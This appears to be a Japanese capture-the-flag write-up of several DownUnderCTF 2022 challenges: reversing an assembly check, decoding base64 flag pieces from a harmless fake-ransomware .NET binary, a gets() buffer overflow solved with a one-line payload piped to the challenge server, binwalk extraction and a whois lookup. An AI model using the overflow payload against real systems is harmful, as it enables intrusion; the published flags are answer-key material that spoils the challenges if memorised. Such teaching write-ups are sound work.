beginner, In this reversing challenge, source is provided.
Author: joseph#8210
配布されたchall.Sとバイナリから、pythonでフラグを復元しました。
SECTION .data
c db 0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2
SECTION .text
global main
main:
xor rax, rax
xor rdi, rdi
mov rdx, 0x32
sub rsp, 0x32
mov rsp, rsi
syscall
mov r10, 0
l:
movzx r11, byte [rsp + r10]
movzx r12, byte [c + r10]
add r11, r10
add r11, 0x42
xor r11, 0x42
and r11, 0xff
cmp r11, r12
jne b
add r10, 1
cmp r10, 0x32
jne l
mov rax, 0x3c
mov rdi, 0
syscall
b:
mov rax, 0x3c
mov rdi, 1
syscall
solver
data = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
flag = ""
count = 0
for d in data:
for i in range(0x7f):
a = (i + count) + 0x42
b = a ^ 0x42
c = b & 0xff
if c == d:
flag += chr(i)
count += 1
break
print(flag)
DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}
easy, We've been sent this file... it looks so tempting. It says it's not ransomware... so it should be safe right?
NOTE: Don't panic if you do run it, it doesn't do anything!
Author: NoSurf#3704
ILSpyでexeファイルをデコンパイルすると、Main関数にて入力値を比較する処理がありました。VGhhdCdzIGl0ISBUaGF0J3MgdGhlIGZsYWch
はbase64でデコードしたらThat's it! That's the flag!
だったので、変数d,u,c,t,f
をくっ付ければよいと判断しました。
if (Operators.CompareString(EncodeMe(Console.ReadLine()), DecodeMe(string.Concat(new string[6] { d, u, c, t, f, "=" })), false) == 0)
{
Console.WriteLine(DecodeMe("VGhhdCdzIGl0ISBUaGF0J3MgdGhlIGZsYWch"));
}
else
{
Console.WriteLine(DecodeMe("V3JvbmcgcGFzc3dvcmQsIGxvb2tzIGxpa2UgeW91ciBmaWxlcyBhcmUgVE9BU1Q="));
}
Program
-> Program()
から、変数の初期値が見れました。
// LegitAppNotRansomware.Program
private static string d = "UkZWRFZF";
private static string u = "WjdaREZrWDNrd2RW";
private static string c = "OXdZV";
private static string t = "zR4WTE4d2NsOWpNREJzWDJG";
private static string f = "elgyTjFZM1Z0WWpOeWZRPT0";
目的の変数のみ抽出し、base64でデコードをするとフラグが出てきました。
UkZWRFZFWjdaREZrWDNrd2RWOXdZVzR4WTE4d2NsOWpNREJzWDJGelgyTjFZM1Z0WWpOeWZRPT0
-> DUCTF{d1d_y0u_pan1c_0r_c00l_as_cucumb3r}
DUCTF{d1d_y0u_pan1c_0r_c00l_as_cucumb3r}
beginner, Python is memory safe, right?
Author: joseph#8210
配布されたpython scriptからbuf2
の先頭をDUCTF
にすれば良いと判断しました。
#!/usr/bin/env python3
from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'DUCTF' in bytes(buf2):
print(open('./flag.txt', 'r').read())
solver
python3 -c "print('A'*512 + 'DUCTF')" | nc 2022.ductf.dev 30021
DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}
DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}
beginner, Office is my safe word...
Author: donfran#1306
binwalk -e ./doxme
により、./media
にフラグがありました。
DUCTF{WOrd_D0Cs_Ar3_R34L1Y_W3ird}
easy, Looks like there's been a bruteforce/password spray attempt against the website!
What's the contact email for the ISP of the attacker's IP?
Flag format: Email address, case insensitive
Author: Cake#4096
"url": "shop.downunderctf.com/login"
のログが怪しかったため、そのときのorigin(58.164.62.91
)をwhoisしました。
abuse@telstra.net